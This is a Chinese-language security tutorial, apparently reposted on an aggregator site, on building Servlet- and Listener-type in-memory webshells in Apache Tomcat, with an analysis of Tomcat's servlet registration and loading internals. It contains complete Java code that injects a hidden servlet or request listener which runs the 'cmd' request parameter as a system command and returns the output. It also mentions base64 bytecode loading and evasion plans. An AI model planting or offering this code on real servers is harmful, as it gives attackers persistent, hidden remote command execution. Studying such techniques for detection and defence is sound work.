Java安全之基于Tomcat的Servlet&Listener内存马

Posted Zh1z3ven

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全之基于Tomcat的Servlet&Listener内存马相关的知识,希望对你有一定的参考价值。

Java安全之基于Tomcat的Servlet&Listener内存马

写在前面

接之前的Tomcat Filter内存马文章,前面学习了下Tomcat中Filter型内存马的构造,下面学习Servlet型的构造,后续并分析一下Godzilla中打入Servlet型内存马的代码。

学习之前首先将前面Filter型内存马做一个简单的回顾,首先之前构造的Filter型内存马看网上文章讲是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。

且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

但是Servlet则是在Tomcat7与8中通用的,而Godzilla的内存马也是Servlet型内存马

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

Servlet型内存马构造

还是在ApplicationContext类中,有4个addServlet方法,前三个为重载

最终会走到该addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)方法内,该方法代码如下。

流程为:首先判断servletName是否为空,之后从StandardContext中获取child属性并转换为wrapper对象,如果wrapper为空就通过StandardContext的createWrapper方法创建一个Wrapper并通过StandardContext addChid方法将Wrapper添加到StandardContext的属性Child中。方法最后会返回ApplicationServletRegistration对象

private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException 
        if (servletName != null && !servletName.equals("")) 
            if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) 
                throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]this.getContextPath()));
             else 
                Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
                if (wrapper == null) 
                    wrapper = this.context.createWrapper();
                    wrapper.setName(servletName);
                    this.context.addChild(wrapper);
                 else if (wrapper.getName() != null && wrapper.getServletClass() != null) 
                    if (!wrapper.isOverridable()) 
                        return null;
                    

                    wrapper.setOverridable(false);
                

                ServletSecurity annotation = null;
                if (servlet == null) 
                    wrapper.setServletClass(servletClass);
                    Class<?> clazz = Introspection.loadClass(this.context, servletClass);
                    if (clazz != null) 
                        annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
                    
                 else 
                    wrapper.setServletClass(servlet.getClass().getName());
                    wrapper.setServlet(servlet);
                    if (this.context.wasCreatedDynamicServlet(servlet)) 
                        annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
                    
                

                if (initParams != null) 
                    Iterator var9 = initParams.entrySet().iterator();

                    while(var9.hasNext()) 
                        Entry<String, String> initParam = (Entry)var9.next();
                        wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
                    
                

                javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
                if (annotation != null) 
                    registration.setServletSecurity(new ServletSecurityElement(annotation));
                

                return registration;
            
         else 
            throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]servletName));
        
    

先构造出Servlet型内存马,代码参照su18师傅的文章,先照搬过来,然后再去分析代码,最后对代码存在的疑问做一个简单的分析。

其实大体上流程与Filter型差不多,只不过这次需要动态注册Servlet而不是Filter,所以在动态注册哪里代码进行一些改动即可

@WebServlet("/addServletMemShell")
public class ServletMemShell extends HttpServlet 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
        this.doPost(req, resp);
    

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
        // 获取ServletContext
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try 
            // 获取ApplicationContext
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            // 获取StandardContext
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String ServletName = "ServletMemShell";
            // 创建一个与程序现有Servlet不重名的Servlet
            if (servletContext.getServletRegistration(ServletName) == null)
                HttpServlet httpServlet = new HttpServlet()
                    @Override
                    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
                        this.doPost(req, resp);
                    

                    @Override
                    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
                        String cmd = req.getParameter("cmd");
                        if (cmd!=null)
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read())!=-1)
                                resp.getWriter().write(len);
                            
                        
                    
                ;

                // Standard createWrapper 拿到Wrapper封装Servlet
                Wrapper wrapper = standardContext.createWrapper();
                    //在Wrapper中设置ServletName
                wrapper.setName(ServletName);
              	// 注意下面这一行代码
                wrapper.setLoadOnStartup(1);
                wrapper.setServlet(httpServlet);
                wrapper.setServletClass(httpServlet.getClass().getName());

                // 向children中添加wrapper
                standardContext.addChild(wrapper);
                // 设置ServletMappings
                standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

               resp.getWriter().write("Inject Tomcat ServletMemShell Success!");

            


         catch (NoSuchFieldException e) 
            e.printStackTrace();
         catch (IllegalAccessException e) 
            e.printStackTrace();
        
    

依旧是先访问上面构造的Servlet,之后会帮我们注册一个Servlet内存马。

Servlet内存马创建分析

其实关键部分就是下面这段代码

// Standard createWrapper 拿到Wrapper封装Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中设置ServletName
wrapper.setName(ServletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());

// 向children中添加wrapper
standardContext.addChild(wrapper);
// 设置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

个人认为与filter型不同点在于wrapper.setLoadOnStartup(1);,那么loadOnStartup在什么地方被调用呢?回看了下调用栈,发现在StandardContext#startInternal方法中,依次调用了listenerStartfilterStartloadOnStartup方法,

跟一下loadOnStartup方法,前面是获取children属性并进行遍历

getLoadOnStartup()代码如下,这是StandardWrapper的属性loadOnStartup的get方法,依据条件,我们的代码中先通过 wrapper.setLoadOnStartup(1);将其设置为1,那最后这里返回的值也是1.

也因此会进入下面的if中最后调用StandardWrapper#load方法,在load方法中进行Servlet的加载与初始化。

总体的调用栈如下,不过中间被省略了不少,比如addChild,chidStart,addServlet方法都有经过,感兴趣的师傅可以自己调试下

那上面是针对于存在loadOnStartup属性的Servlet。

有意思的来了,可以尝试把我们上面的wrapper.setLoadOnStartup(1);这行代码去掉,测试后发现依然不影响Servlet内存马的注入。: )

这里涉及到Servlet的一个加载问题:

针对配置了 load-on-startup 属性的 Servlet 而言,其它一般 Servlet 的加载和初始化会推迟到真正请求访问 web 应用而第一次调用该 Servlet 时

在非配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化

那疑问就解决了,wrapper.setLoadOnStartup(1);只是影响Servlet在何时进行加载,而不影响他是否加载。

那没有loadOnStartup属性的Servlet怎么加载的呢?

回到调用栈中StandardWrapperValve#invoke方法中,重点是下面这一行

跟进去看实现,所以是在StandardWrapper#allocate方法中进行的Servlet加载与初始化

综上,那其实创建Servlet的流程就不难理解了。

依旧是获取到StandardContext,创建Servlet的封装类Wrapper,也就是StandardWrapper,后续设置ServletNam与ServletClass并指定类与ServletMapping ,类似于Web.xml中的配置就是

<servlet>
  <servlet-name> </servlet-name>
  <servlet-class> </servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name> </servlet-name>
  <url-pattern> </url-pattern>
</servlet-mapping>

后续就是添加到child属性中,等待第一次访问该Servlet时让Tomcat去加载就好了,或者设置了wrapper.setLoadOnStartup(1);可以直接在系统加载的时候创建Servlet

Listener型内存马

Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

Tomcat中保存的Listener对象在 StandardContext 的 applicationEventListenersObjects 属性中,同时StandardContext存在addApplicationEventListener方法来添加Listener。

本次用到的是ServletRequestListener接口,该接口提供两个方法requestInitializedrequestDestroye分别在Request对象创建和销毁的时候自动触发执行方法内的内容,而该方法接受的参数为ServletRequestEvent对象,其中可以获取ServletContext 对象和 ServletRequest 对象。

构造恶意Listener

public class ListenerMemShell implements ServletRequestListener 
    @Override
    public void requestDestroyed(ServletRequestEvent sre) 

    

    @Override
    public void requestInitialized(ServletRequestEvent sre) 
        RequestFacade request = (RequestFacade) sre.getServletRequest();
        try 
            Field req = request.getClass().getDeclaredField("request");
            req.setAccessible(true);
            Request request1 = (Request) req.get(request);
            Response response = request1.getResponse();
            String cmd = request1.getParameter("cmd");
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            int len;
            while ((len = is.read()) != -1)
                response.getWriter().write(len);
            


         catch (NoSuchFieldException e) 
            e.printStackTrace();
         catch (IllegalAccessException e) 
            e.printStackTrace();
         catch (IOException e) 
            e.printStackTrace();
        

    

可以写一些工具类对上面的恶意Listener做一些处理,比如将class文件转成byte再转base64之后在Servlet中解码加载字节码

@WebServlet("/addListenerMemShell")
public class ListenerMemShell extends HttpServlet 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
        this.doPost(req, resp);
    

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 
        // 获取ServletContext
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try 
            // 获取ApplicationContext
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            // 获取StandardContext
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance());
            
            resp.getWriter().write("Success For Add Listnenr CmdMemShell !");
         catch (IllegalAccessException e) 
            e.printStackTrace();
         catch (NoSuchFieldException e) 
            e.printStackTrace();
         catch (NoSuchMethodException e) 
            e.printStackTrace();
         catch (InstantiationException e) 
            e.printStackTrace();
         catch (InvocationTargetException e) 
            e.printStackTrace();
        


    

先访问addListenerMemShell

之后随便访问个Servlet在参数中输入想要执行的命令即可。

End

其实在Tomcat环境下,相较于Servlet,本人更喜欢Filter和Listener型的内存马,主要是在于Filter、Listener的访问都在Servlet之前,也就避免了一些可能会出现玄学和花里胡哨的问题。而关于Listener,玩法应该还有很多,只是看到的文章比较少可能以后会更多的去尝试Listener型内存马,比如打behinder3和Godzilla。

后面学习下通过反序列化打内存马的姿势,集成上打哥斯拉和behinder的内存马,顺带改造下yso,以及将反序列化命令执行与回显链进行缝合,也可以集成到yso里。包括近期有看到关于filter的处理做到简单的免杀,以及不同容器的内存马注入和Tomcat下StandardContext的获取做到6789版本通杀,会放在后面一点点研究。

Reference

http://www.xiao-hang.xyz/2019/05/16/Tomcat源码分析-三-WEB加载原理-二/

https://su18.org/post/memory-shell/

https://github.com/su18/MemoryShell

所有内容仅限于维护网络安全学习参考

以上是关于Java安全之基于Tomcat的Servlet&Listener内存马的主要内容,如果未能解决你的问题,请参考以下文章

Java面试题:Servlet是线程安全的吗?

Java之JSP和Servlet基础知识。

Java之JSP和Servlet基础知识。

2-java安全——tomcat AJP协议文件包含分析[CVE-2020-1938]

2-java安全——tomcat AJP协议文件包含分析[CVE-2020-1938]

java之servlet入门操作教程一续